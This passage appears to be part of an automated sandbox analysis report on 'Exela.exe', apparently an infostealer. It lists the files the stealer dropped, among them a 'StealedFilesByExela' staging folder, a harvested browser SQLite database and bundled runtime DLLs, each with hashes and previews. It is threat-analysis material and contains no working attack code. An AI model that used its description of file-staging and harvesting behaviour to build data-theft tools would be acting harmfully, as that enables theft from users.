VTYPMCXUXWVXIMVUCNXESHIVCKNFAALGDXCVJHQZWLDSAWNJWFBTHDBKGVKXLWDOPOOBJMPJCKUXVNFQVOUEIHJKOHTDCQCDOFQBMSQNWVDKTKWJIFVOMWEUJULPMGUSEWAZAHAZVGRSWNQYXPMKFWQGODZHVNOEXZBPLONONBPAHCDWEMSFLRJBFMOKMCLAGRJEGRTGVETXSZKDXQWEOD

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\LFOPODGVOH\LIJDSFKJZG.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69486718145169
Encrypted:	false
SSDEEP:	24:XvKYeI9D5UOyoiaxIKgpZ9ONvMyTONN5ZjJH1U:yyD6yxILZ9OtTT+XRG
MD5:	E63B196AE0D5F7670244FB1347D75EFC
SHA1:	1C17108AC7E5263674836BAD67AE44D8C3C6890B
SHA-256:	D8C0D7B9CDFC72CAAB0A7687299B6734708E98C6DD088CDB0FF1A659E294B49D
SHA-512:	63345352964E1BD19AC843F82820E9B29C5BA991A002AB9B3164E1AA10B6D88BFA0DFAFA2E91E584835BA89B6A1770140AC14EA0B4B64E6C3BF8CDA34C9698AC
Malicious:	false
Preview:	LIJDSFKJZGBDGXNCCVBULCELYCDFJRIXKMFPVDHHKPYEYOXKFYMNEETRQHXLDRVBOTNERMYOYUJOPHUSKFPWBGKNJYBGZTTHNKGNUZWATSMORYBOIKBFSVUUMZNDYXOYKYUKGRNFVRQOPBEEIPDGTPBXCNLKHMGPHFCEQOUTEDGJZTMFUUGECZETRSODGZCJVQEAMRZADPDVQRANZOSHTGPOXPXGXXQDJVYZOCNXDECWJISPPIJOZUBSSKPGODUHTISNESPZRLELINJJYOXSBFTVUDENIBRDIMMGFIQNDGUSXDBHQNJRYLFTZGOCELKZGOQQKNDPFAMTXHBKHJYXYEGLJLANRMMTCVEFYRTWLXIMCCHDWVOLGVUWRNLSIBMLMBKVSYLKXRTMZROHVHCRDBCODTPNVQMBPRJGBGOOFVGDIERMXUFETJQWDXSQQFMQAZGGRVNRCUOAVYJDIMQETJOANIIDEGJCHEFRSNVBQAQBBUTTMXBTJXRHLSOCTPPBIKPXITOOCINTVZYAVQLVOOZWSOPLYJPOTKFKIKEHIDDPCDDEPKVDYQAVTVBFYYWCGUKGIDVLQSIPXISDEDNJWONTSILFUGUYMKQLKEJGOOCBYSXDFHNFHHWGLXWWQKSSOHSSTZLRZVRHZVBZGGEZQFSIWQQPMILSPBAMPAGAHHVJJCITDTJRZTRBEXSXOVDKONGLMSWBAOOYAFISJHKEYUKIWXBFUDUMVQRELEPVTNQBALAQOEAEFVPIKNYIPNICGKQFRVXNQUEFULLOYWMHOMUFEMHYNKNWMAOBGWSECZOKWISDOIKSUVWBGWPNAMFUHBRWEJQPHFPEKIRLAEPTBNRQEUVXXIZSSOOEFEETUMNPSVEAKOXVYHAOIXBEYBVXDJXZCNDVOPZLARFFUSXUOWXQBKDLINBWBQLXLHHNIXZEPCNHFEIZUZSTXWFUITSBKYSELMNKNBBDQMNLAIOSKYHCWGFPNUXAFSRHOWYH

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\LFOPODGVOH\VWDFPKGDUF.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696835919052288
Encrypted:	false
SSDEEP:	24:Fn9jgzow1W6XZpt5tv2wi/9nymo1rcjQV26NyDmb5HPZ:zjgEw1bpfTi1yfhcUV2by5HPZ
MD5:	197C0DB71198B230CF6568A2AA40C23B
SHA1:	BAE63DD78D567ED9183C0F8D72A191191745C4E5
SHA-256:	6935BFDC854F927C6F05F97AE4865ECAA22F7D10D909725B7D67D87F17FF0F41
SHA-512:	972C7D9B89EBADA01E3C2D21B391AFA317A8B587DE768875B3B7082761E17AF795BF72B49DEE71DC1F5363863EEF3C7E2966E6AE3D2E6F481E373A77163316C7
Malicious:	false
Preview:	VWDFPKGDUFQFRUPAPPQGIIRLBMRJVLIMQXSWPKBCUGCSOYPXVZRYABCFRPGQFBKSRNNBPWCDTZQKOZTHEOXCUIMHAWUSAMNXIIEPWHBTSEWOJOEJUQZAZDGIRHLRLOCXDMGTXDXEJOWMXIFWDAGYCVGTBKYMXDYOTCGCARASSUUCMCNKFTCZOAQXBNILJTUOLCZYYUZFHGWFTCHDXYTZOEGFUAJLGZANLVNEVWHIIIRSURMEOTZWVHRLOGMTVRWICZIENOPRWLNSVHXQMULNZLBRICRJVVBJMJGVHJSCKBXVMICMFJQQTCIUSXRLUSMTSWGCQDGVFRQVIURPCVBLZIFEZKBUZGKUJIZAWRLYVVXWFGKCMRQFIVHFVXBDHBEKOJAILQRRTZPUTWBVRNRLZEMFWWBQUGOQWYUEGPKIVHQJHQHSJWVVENNMOAHFXILPEJPHZOQMAVSUXBQQEJFNFIKFQWEWEPKTIQQETBFSABZAOBVXEBARHKLVLMCAFGXXBLNGBZRJQOGMNGDAODYAVKYTFOYJRZDLZIYWZNRPPVZNHCTKOIHMETIQDHDGBHUSSZDLEXZSKRZLTIUMEADMONDOIPXWOAELAEUEJDZBECSINHBJNAYCCYTMEJUWYDNJDACYHUQIQZZBMKKRCJDQSGEHBSIIWWFOPRPYXHWNRLQFZPXUQSZHWHJGRVRNYZBBQUFKAWZTIDUQSFTJJPUAKBRGABJCNWDXOUPLCRZTCKKHIKTYZOGNWDCTUTSDFJLIDJMCLEXGJRUQRWREGZISCYJSMOFQXYMCGMMJMSQASADRKRHYGUYLIBJAAJOTHXHEVLCQEGGJBJBKULCPBXSIOOIEJPQIXDQHKAQSQMLWOISQZQTMTCLGTEHDXRHOIVIVQGKJJACQWPPTBGGHHKJRRPRENADLUPCMGIERRBDQYQJFUSIHVYGVGSIQZZWUZLCSUBMKCQYKCYTJRNNKEZZWFQMXWYFKKWAXFIFRJZTE

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\LFOPODGVOH\WSHEJMDVQC.mp3

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694142261581685
Encrypted:	false
SSDEEP:	24:f9GDi2EYjkpBrLp83PYbuFr5oKIQppDgX+qrctnWyd3z+g8BHGZ:yEYjkpZYwS/oKIuA+qriTjEBHe
MD5:	E9AA17F314E072EBB015265FB63E77C0
SHA1:	1233B76350B8181FFFC438B62002C02B4AE79000
SHA-256:	F66078FCFEC2D71549136CC8B5B4EE7D33C4994E0A4E3E7C11F5ADCD819D0436
SHA-512:	719E659924CE585E4DD8CEA9BC6B5371AD810999022F874F380F50C7153D3AE97CC934E3173EF06573CAEE6CBC835A668C4D7DC2ADE597B1B0D200FCBAC67DA1
Malicious:	false
Preview:	WSHEJMDVQCWJPIIWMEHEPOBRYLOZOHFMDEEYYASRZPHJZGFNCKWIQSPBUMWBCKDMTEBFINALYAFGJUQXINNGDKSDBFBQLHYZRLLDJYSVNXVIEPIYHZGOTARYUNPFNZVRVVWIOWWFIFWCHVVHXNGKFNRNLVVSOPOMGZCDQUWJFARKTCAVVDPTCPNIDLRGSLNKZTVRAJAILYGDVIAAGIVKXRCRTRZJPKATKZAWRJTPVLTDNBDIRDWCCHBTEVEGYPYDTGSMLUDQXMQCAVHLYMRKPCVHQHMGNCGBZKOUKCCBHQPSIYIJGDVOYJJJRQLDKNVUEXDKCTANSMCHJUBIODALXWUAFPSECIRPCAEPPBACCLXBZAEDKJHLGOICLSKBQEGFCVDQOFKKAJPCTRIXBNPUDXKHSSXTDTQZSFEWHTHKFNJWHOEXGCYSYWIHFSMYJIYEESDQFMESLFQFBUJNXHWFNXIDWEUDMVGFDXPTRRRNPARVUGZAYZRHNTXHZAPBLWMHFSSHMXCYMAGONQNLTCAVPZPCAKJRMGEPDIFETDNSXWPDVMAZGTTCLNRREMVTBLOGKASYOATUDXLJKIYPPDNLZIZMWWFFDVMUFCTZZOFJORNAMGQBAFGCPTDCZBKTIGYDSCSPMIEXAMGICZNTFVNRPLGPMBXJHNCQSYNMGGPKIQJNDBDUBVIVXFILKXZXHODXZAYIDEIMZZMKQNQNBCCMZNFBKSYULDGKOMQZDUQMUVTBBTUTRZMIOZGDEUPHCDKJQDSGBXYNWPWTHYVLGGYNOBJJKAZSTKJSBCHVCLGWYHCNILYSCYCHTGYOGMNGWDZAVDCOVKWJPWVNTTKFTSHAAXLYUEWEVGETFCFTLKWTQCVAMBWYOYJVXNPSSWXJXUZDXJOZNTBLIZLLJQXYNILILMHHONBPAPFMVWEMHIHAGMOXTIBNNEBGCVSZEZTMJVDXSVACSKTAVTFOOSEHZQGTOUSCIQBVIWZGABQNZGJE

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\LIJDSFKJZG\AQRFEVRTGL.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.691266297898928
Encrypted:	false
SSDEEP:	24:VFl0HyrVqOHKWeRhsGhMtSCTPacJ7pZeZLF8M7y+b:VFl0HyrVqOqNRhHkTaW73Q58yy+b
MD5:	7D4E714F4EDA4631DCA8D420338392F1
SHA1:	536B4BCBAB5C780738EE2D562D16AB532C9D8E68
SHA-256:	841F74A72A1D21F63E4039906E93A4FD9E70EC517385DDEE855033A9A17FE94A
SHA-512:	FEB2EEC88720FF040794CD273A7B4A07DD5AC1E6CD9A9235A098F1FB3A1C50385B37E376764C927978961A0EE4AC1C591F197494D82D71B35EAA3780956CB1A3
Malicious:	false
Preview:	AQRFEVRTGLRPNVUMAMHTYETEVGDENHEHZDAQRXZQCDHHLTUZIEJRCQGGPRQWBIYWADWJEZTAELERKZUDZJHSFVIUPBTJVGKYQFWVMPTQUZUZZSOJNBOABYGRCYMPSQARVQUZQVCNVECXPCBIEBYWXWSRMTKFKBEHRJGIPFMOYSZMEELAQPGBHDTUPVXJROQBNFXLTFTPQHVAGKBRLNHZRZVUTEGANMGKVRFJJNOMKLVMQNTHIORPQCPGNIZSOYKXAQJCOPIGBQRJINVPIRVOHHCOGWQPXWQEGDKAHJASRIJBIMZDOWPSCSZZQNZFPNLCIRCXKLGBVXKUJASQXRHFULXFGHARZKMVRSMXPJPUDKEQXOSCEBAKVRLNKSSEVKXVMESKRHMKSXSUKELGCEYTRDUXROEARVKPGFZHNSDRPAQVQVSCJPHBVIRZPYJKRBBZNOUQWXJMMJNDFWGGJPGQMMWRHVVMGZTXMHGJMPQFKEKIAULKOFHNCPDGWVUWIVKGZHFAQVQOBPOUZZTMTUXLURTPHPWRVYABSKGEOJTHCTJYEQSHAVPELOSNLRXFRVWMHJRZTZLGKGNKELBIANUAYANWKNNJPQUXDOBXLYTGIGYZMXXBSVTKCOWSZHFODTFONXVLBRUGJKEZMTIRWSGAANCFOWQHTMLCODGMRHITYHVPOCCXAYGLOXHITQDUATUBKLPLHFHTHTEONDGTWZOQVYRUABLZCNSDXFSTUTQJACVNWWCLMGVDGIDXECYLUJKBUKWQQUERSQSLBAKCXGRYMXSMUPSLSRDICMSQOGBWCATEAACXPGZFMXCSVNIZUQRAQEWTFWYKNKMGGMAZDJHXXORIHLHSPMGKAWZUQOKTRGEGDEPETKDTOVQKFNIASUNQNVNPECXIFOSOXOYCRVRJAKLVRMRCMTVZUHFLJPYFXCUSTATJHRIINTHARIAPEKFSUPRLIGJHIMRLJERLFFTZAQPSMLNNQSZLYNDGBIYC

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\LIJDSFKJZG\BXAJUJAOEO.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701111373123985
Encrypted:	false
SSDEEP:	24:wSplMoG/A1oXDoMwazZW6QAFWyGjkGKnEuDxOaV9YnF7U:walZG/A12L8MFYr8EuxTK9U
MD5:	CA5A3E2A0C2DDF92EABE165672425976
SHA1:	1933AC1A510945A766039E7E61D7DA4156E0F074
SHA-256:	4180C6A01C86C7D86A51B5C17957BAECF34EBB7FCB6C5968835A5DB64E3C9667
SHA-512:	64FC7B64CDAF57CF026C803A16036BDDC46CA86AC9C35A804FCE188AFA3056C324D62CCEBD45E7E607A53D11A1035CB6C38B24004D14F0DC17B11D8DFBD7DB6C
Malicious:	false
Preview:	BXAJUJAOEOZPYQVMPMMPXXMVCPSLTTLUOLYYQUQKLRMOQNFWEOCYDOLITPCVDLYSWYQACZEJIDILMNOOUVEVBOSWPXYLBOGFYWHZVFNHRJXYLODFWJLFJKMUXRMLQJAGMERGOWKSMBXUJUMRUBMROMDBISUWTFWPXBVVSTBYHRHUOKCJNGMCOLUFOVLKFFIUZHRPZUITDNNTTEJKTUSBPVEUSTDXHRMZNWZQSUEGRYELXBLVKZHEIVACMOHJWFJRPJKNIDOXZHIEUDGLSGKALGUCHSOBYGTVWDOVYUEMXJWYDCHTXKLWDJLIZFFBQOMRYKZVRXZYKIPKCJEYOVOQCGFXCUNQKHYBXFYRGYUQAUKMCSQKKDJIQWKZEWMJWHJDDENKZLPNJAJLVIEXHEGVFHRIOBAWGXOXLQJIISBHZZGJYZBYNUOKMCKTICSMRTMZVLKMZTCWKHOHWQBKEBGEASMMYEGDDSCGDTYEPANLCQSJIRCTCUHXIVGBREMBTULUXWAZISUYERUZPWQLRSPPVNCMSPDUHQTJKYNEEWYIFNUCJJSDFDNQJLWDBLURDBXKLJVMGWUBKEXPYFIJNWRSUNUJBZAWJQEZWEYFLNXWPKFJZFMVPYOJFFUYCTEUKFWSOFUOTKIGENNTAAXCAHPWQNKMKKGNWIOGZOBPOTDAQLZSIGMQTNQVGQJNNITTRMOHBPCHTGJANZTLZHNSTOQXJKIAZXWPQWIDJXZUURGYMTMZTWQNTRVEKAAWBRZQWZYVWKWEVAUTRSOXDHWSYIZYRJFVXSPNFOTDNAGHDFYSAEEFBXGQQGYMZHMQHZTDMNYXDQJKMLAXJWCBQUIKQFEPVZNRMOWEKGFDLUJLSXRKKJUIGCSCGZTXLHOWGMKDLSQHDWSPCYROUJEHKXBJSADOXSOMTTUGHDSOBTNUEDCBNWNIDSDBZKBGFCJHQNDVAAZTKEIMDCTKNOQUKPNHEQOBANQSCJQRQBRAIBBXRYTT

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\LIJDSFKJZG\DQOFHVHTMG.mp3

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.702862417860716
Encrypted:	false
SSDEEP:	24:JCmIDeBF63lGj/+QvH8n8JCl7odrVgKqBP68iz:4QQQvHFrTqBPXiz
MD5:	CC0686FCDF6617729D1EDF30F49501F1
SHA1:	02D629848E3D467D8143B057F003E0D7448126CD
SHA-256:	31E15305BC0579F03C51A1D6534B332F32C73ABC6D1B68BA0BDA6FCF97F593C9
SHA-512:	8BD18EB486BA6D2799329D9A8EFB3F52C3D109F5CB070290418DDE4B58756CD023857E4CAE62323C530FA0D3A60372C97D9744C1911A688D3592EABD14005F25
Malicious:	false
Preview:	DQOFHVHTMGONGZJMTUDJRBBZMRPVREMYHKGEHFUQYXZCSKHYXSDQYNTHYMAXXVSVAUOGMFIYPDCQLTHSECIYLWTRIBFEAYHUXINIFQBTJDZMINEEJPQYKGEESHWZILKBYECTPQSECVJBFSZOCCSNOVPIAHSFZWVXPNEQGUOXWPBXJRUYFARJLNHPVXAJZAMAADRKIWNDXYEBYMEBSXOJGEOURNOIBBLONDSVHAOQHPMGXZYJJTGITBJPQEBNXGZYUKARGBCVCJUHSRNNEVOIGUVCJVMNFBKNVZYQADNKMLUVPOTXVOQFRBXUSSRFMQEZCJFQXKCGKGKCVGGVBKNPTNSSMADFJLSDMVXHSOETKCENTGLOVOHUYJFTIWFHKFJRYNOXVIGPLHNBFPFOCWMNOQXWIPYAHPKRVTBFYKRBDVDUAZBSLWPPMXJXDVRCRPKOGCUKNZKBLJGIGZASUAZBLZBMGJSBNQSVTMGEWGLMNJKCSBEAGDUINAXDWMHJASNQRRDMKVXOKATATHRLEOJRPCUOAVQIESHZYWIQCSCAPIAJHBTEIYVRFEDCQDCDIYPMQVBWUEHDPIDAGKYZBMLBDUTEIFYLBSHAWEMNTPQDCSTOWSBZWQEBLVBNUWKZFUDMPBKETDOEOIXRFTDUFIBPBSUHXQTCPRPZAKDTRWMGSAVOZBNDDMDIHBSGIPOMYLKSGKUWRGKNXSOLUZDUZYQFQTKMNWLSYKVAQVIHJTFYNRTERQMIRVMLNWEIMHPIWEWIZJJRGOCBVHFGCSCPAIQYTEMYIQJKVUFAZERTMPUQSRHOZHOYABIALCSKDKHEDHJGKBYVCDZGPYPCLDCEFHWFMLSBOUUGKJFXSVKJVYVTSMIZISSWNRRWBNOMXZCOJAULXRXTNHTYWTZNFOKXVGZMTRVOSMSRMYBHKSHRCPZSSMDBJOTQQRGYIHEMZHHSWECVAOPVNLGBYHZVZPLQHOTCJNPUXICWZBLKAQFGUZPW

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\LIJDSFKJZG\LIJDSFKJZG.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69486718145169
Encrypted:	false
SSDEEP:	24:XvKYeI9D5UOyoiaxIKgpZ9ONvMyTONN5ZjJH1U:yyD6yxILZ9OtTT+XRG
MD5:	E63B196AE0D5F7670244FB1347D75EFC
SHA1:	1C17108AC7E5263674836BAD67AE44D8C3C6890B
SHA-256:	D8C0D7B9CDFC72CAAB0A7687299B6734708E98C6DD088CDB0FF1A659E294B49D
SHA-512:	63345352964E1BD19AC843F82820E9B29C5BA991A002AB9B3164E1AA10B6D88BFA0DFAFA2E91E584835BA89B6A1770140AC14EA0B4B64E6C3BF8CDA34C9698AC
Malicious:	false
Preview:	LIJDSFKJZGBDGXNCCVBULCELYCDFJRIXKMFPVDHHKPYEYOXKFYMNEETRQHXLDRVBOTNERMYOYUJOPHUSKFPWBGKNJYBGZTTHNKGNUZWATSMORYBOIKBFSVUUMZNDYXOYKYUKGRNFVRQOPBEEIPDGTPBXCNLKHMGPHFCEQOUTEDGJZTMFUUGECZETRSODGZCJVQEAMRZADPDVQRANZOSHTGPOXPXGXXQDJVYZOCNXDECWJISPPIJOZUBSSKPGODUHTISNESPZRLELINJJYOXSBFTVUDENIBRDIMMGFIQNDGUSXDBHQNJRYLFTZGOCELKZGOQQKNDPFAMTXHBKHJYXYEGLJLANRMMTCVEFYRTWLXIMCCHDWVOLGVUWRNLSIBMLMBKVSYLKXRTMZROHVHCRDBCODTPNVQMBPRJGBGOOFVGDIERMXUFETJQWDXSQQFMQAZGGRVNRCUOAVYJDIMQETJOANIIDEGJCHEFRSNVBQAQBBUTTMXBTJXRHLSOCTPPBIKPXITOOCINTVZYAVQLVOOZWSOPLYJPOTKFKIKEHIDDPCDDEPKVDYQAVTVBFYYWCGUKGIDVLQSIPXISDEDNJWONTSILFUGUYMKQLKEJGOOCBYSXDFHNFHHWGLXWWQKSSOHSSTZLRZVRHZVBZGGEZQFSIWQQPMILSPBAMPAGAHHVJJCITDTJRZTRBEXSXOVDKONGLMSWBAOOYAFISJHKEYUKIWXBFUDUMVQRELEPVTNQBALAQOEAEFVPIKNYIPNICGKQFRVXNQUEFULLOYWMHOMUFEMHYNKNWMAOBGWSECZOKWISDOIKSUVWBGWPNAMFUHBRWEJQPHFPEKIRLAEPTBNRQEUVXXIZSSOOEFEETUMNPSVEAKOXVYHAOIXBEYBVXDJXZCNDVOPZLARFFUSXUOWXQBKDLINBWBQLXLHHNIXZEPCNHFEIZUZSTXWFUITSBKYSELMNKNBBDQMNLAIOSKYHCWGFPNUXAFSRHOWYH

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\LIJDSFKJZG\SNIPGPPREP.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701796197804446
Encrypted:	false
SSDEEP:	24:C1U2g6pCwYBq9+pGzEcrz023TZ9iFxwELi:2U2gCCm9drz0wTZsIEe
MD5:	C8350CE91F4E8E8B04269B5F3C6148DA
SHA1:	22D523A327EBAF8616488087E2DCE9DBD857F0CC
SHA-256:	1BE0B3682C4F3A3315465E66A2C7C357BB06225947C526B1B89A39D9D120AFBF
SHA-512:	C4891D35B6E895E4A9F4A785701EFFA4305AE88D09D309865F9312D95C296CB417916D8CBA461099E80F68C5AE5015A1172E60319256A453DE81445660F55806
Malicious:	false
Preview:	SNIPGPPREPVDSXKMBCQXEQRWSYOYKDGHPXSNVTYLWVPMUIXPKXDRFHMINIQBFZTPTVMTSZAWIXFLHCKJNAWKCQYMBHUKFDOIJBXXLUNVNMKEDOTTPPDLIAGSTXKJKMHVVGIGUNGKPTPDUEUVMGZRIBRMBHLZOZZIBTDOCDOASXCIFRVGCSENFOEARIYUEACCMVFPUDRRUHYQQFJBAWDGKHRWDHTGYUXKSSVSTFCVQOQGTKOBOMZZTKVYFLAXTKJMTUDSETBGCOOKYGPLGPNAFICZERONWJHOMIWLGEWSSANDAVRYRUWZSRNZFYKTMSQXLZZGTQKXVQLDKQIHEDADRTKYMYNBVWROSFBYUXYULCESFAKNPBXYOELAWZCZFAPVQWMMNLBQRIPMVDMMWGXGKDJNUJGGGBNSGWEDDLRHGAAWJCYOEMVEHAYXYEHSKMWJPPHERNLXAGENBCUAZODRTUDIOUWNPZSHJGYOVHWQKWRAGGUMLCITTLAJXOXDUPFFLAHWLWPRQRAXSKOBHTXQNNGYHHVLBOEFTHAXTLKUGTNIYSDATIJHBUFTSGQHRXQQGXCBWVJIULNMYSMFYMPXRZOWMHYMZOLIBIYHPQRQJTZOMJZHKRTSWQQVINGIZHWDLNCJKAMKHSMFOTUPQMESXHXMJSAXESVNVSKORQSXVCYCKNZKOFZFUKINTRLLEGXVQTQURFVKWLFRQZVQVBVOEMATWFLXFDJVWCYMPYCSJCUUGUCIPOPIVLEFNZCPNYAWTXOATSTYLECDEFJNQFYGVPQWTJBNAVWKGALRTACLENBODJOQDXMPOYCYEFXOOOOMCQXLRGDBUUVJNQAEBZDSPDLPFIEOXRWSFCHXDUSBTSLEDLCZPOHIMIMQZMHHTMDFUUMKUAMBYNWWRQKDEXPPDWGKCNTWTFNHBMNDQIMVNFYWGALYORHHPUAXLDHMTGOKMMTAOCOVLGFIHZLZFADWMNNCWOLNJDSGFCWVDBYK

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\LIJDSFKJZG\WSHEJMDVQC.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694142261581685
Encrypted:	false
SSDEEP:	24:f9GDi2EYjkpBrLp83PYbuFr5oKIQppDgX+qrctnWyd3z+g8BHGZ:yEYjkpZYwS/oKIuA+qriTjEBHe
MD5:	E9AA17F314E072EBB015265FB63E77C0
SHA1:	1233B76350B8181FFFC438B62002C02B4AE79000
SHA-256:	F66078FCFEC2D71549136CC8B5B4EE7D33C4994E0A4E3E7C11F5ADCD819D0436
SHA-512:	719E659924CE585E4DD8CEA9BC6B5371AD810999022F874F380F50C7153D3AE97CC934E3173EF06573CAEE6CBC835A668C4D7DC2ADE597B1B0D200FCBAC67DA1
Malicious:	false
Preview:	WSHEJMDVQCWJPIIWMEHEPOBRYLOZOHFMDEEYYASRZPHJZGFNCKWIQSPBUMWBCKDMTEBFINALYAFGJUQXINNGDKSDBFBQLHYZRLLDJYSVNXVIEPIYHZGOTARYUNPFNZVRVVWIOWWFIFWCHVVHXNGKFNRNLVVSOPOMGZCDQUWJFARKTCAVVDPTCPNIDLRGSLNKZTVRAJAILYGDVIAAGIVKXRCRTRZJPKATKZAWRJTPVLTDNBDIRDWCCHBTEVEGYPYDTGSMLUDQXMQCAVHLYMRKPCVHQHMGNCGBZKOUKCCBHQPSIYIJGDVOYJJJRQLDKNVUEXDKCTANSMCHJUBIODALXWUAFPSECIRPCAEPPBACCLXBZAEDKJHLGOICLSKBQEGFCVDQOFKKAJPCTRIXBNPUDXKHSSXTDTQZSFEWHTHKFNJWHOEXGCYSYWIHFSMYJIYEESDQFMESLFQFBUJNXHWFNXIDWEUDMVGFDXPTRRRNPARVUGZAYZRHNTXHZAPBLWMHFSSHMXCYMAGONQNLTCAVPZPCAKJRMGEPDIFETDNSXWPDVMAZGTTCLNRREMVTBLOGKASYOATUDXLJKIYPPDNLZIZMWWFFDVMUFCTZZOFJORNAMGQBAFGCPTDCZBKTIGYDSCSPMIEXAMGICZNTFVNRPLGPMBXJHNCQSYNMGGPKIQJNDBDUBVIVXFILKXZXHODXZAYIDEIMZZMKQNQNBCCMZNFBKSYULDGKOMQZDUQMUVTBBTUTRZMIOZGDEUPHCDKJQDSGBXYNWPWTHYVLGGYNOBJJKAZSTKJSBCHVCLGWYHCNILYSCYCHTGYOGMNGWDZAVDCOVKWJPWVNTTKFTSHAAXLYUEWEVGETFCFTLKWTQCVAMBWYOYJVXNPSSWXJXUZDXJOZNTBLIZLLJQXYNILILMHHONBPAPFMVWEMHIHAGMOXTIBNNEBGCVSZEZTMJVDXSVACSKTAVTFOOSEHZQGTOUSCIQBVIWZGABQNZGJE

C:\Users\user\AppData\Local\Temp\Web.db

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1215420383712111
Encrypted:	false
SSDEEP:	384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
MD5:	9A809AD8B1FDDA60760BB6253358A1DB
SHA1:	D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
SHA-256:	95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
SHA-512:	2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI70882\VCRUNTIME140.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	109392
Entropy (8bit):	6.643764685776923
Encrypted:	false
SSDEEP:	1536:DcghbEGyzXJZDWnEzWG9q4lVOiVgXjO5/Auecbq8qZU34zW/K0zD:DV3iC0h9q4v6XjKAuecbq8qGISb/
MD5:	870FEA4E961E2FBD00110D3783E529BE
SHA1:	A948E65C6F73D7DA4FFDE4E8533C098A00CC7311
SHA-256:	76FDB83FDE238226B5BEBAF3392EE562E2CB7CA8D3EF75983BF5F9D6C7119644
SHA-512:	0B636A3CDEFA343EB4CB228B391BB657B5B4C20DF62889CD1BE44C7BEE94FFAD6EC82DC4DB79949EDEF576BFF57867E0D084E0A597BF7BF5C8E4ED1268477E88
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: 9g9LZNE4bH.exe, Detection: malicious, Browse Filename: Holoscope-V1.3.5.exe, Detection: malicious, Browse Filename: dsoft.exe, Detection: malicious, Browse Filename: winws1.exe, Detection: malicious, Browse Filename: discord.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: cmd.exe, Detection: malicious, Browse Filename: NEVER OPEN!.exe, Detection: malicious, Browse Filename: HeilHitler.exe, Detection: malicious, Browse Filename: meN9qeS2DE.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........u...u...u.E.t...u.....u...t...u..v...u..q...u..p...u..u...u......u..w...u.Rich..u.........PE..d.....y..........." ...".....`.......................................................5....`A........................................`C..4....K...............p.......\..PO...........-..p............................,..@............................................text............................... ..`.rdata...A.......B..................@..@.data...0....`.......D..............@....pdata.......p.......H..............@..@_RDATA..\............T..............@..@.rsrc................V..............@..@.reloc...............Z..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI70882\_asyncio.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	35712
Entropy (8bit):	7.645244129807927
Encrypted:	false
SSDEEP:	768:U2sbZA5n1we/lPgOb1koYpu53VnJ2gl+NfUpv+I75n2EYiSyvPRPxWED:U2RhZtXxkoYiTTENE+I75n2E7SynRPx
MD5:	7D4F9A2B793E021F7E37B8448751ED4E
SHA1:	0EA07B5024501AAD5008655CFEAE6D96B5DA957A
SHA-256:	2293C1B6B0B901832A57A1C4DCB1265C9E92D21177195712C30632A7B63227D4
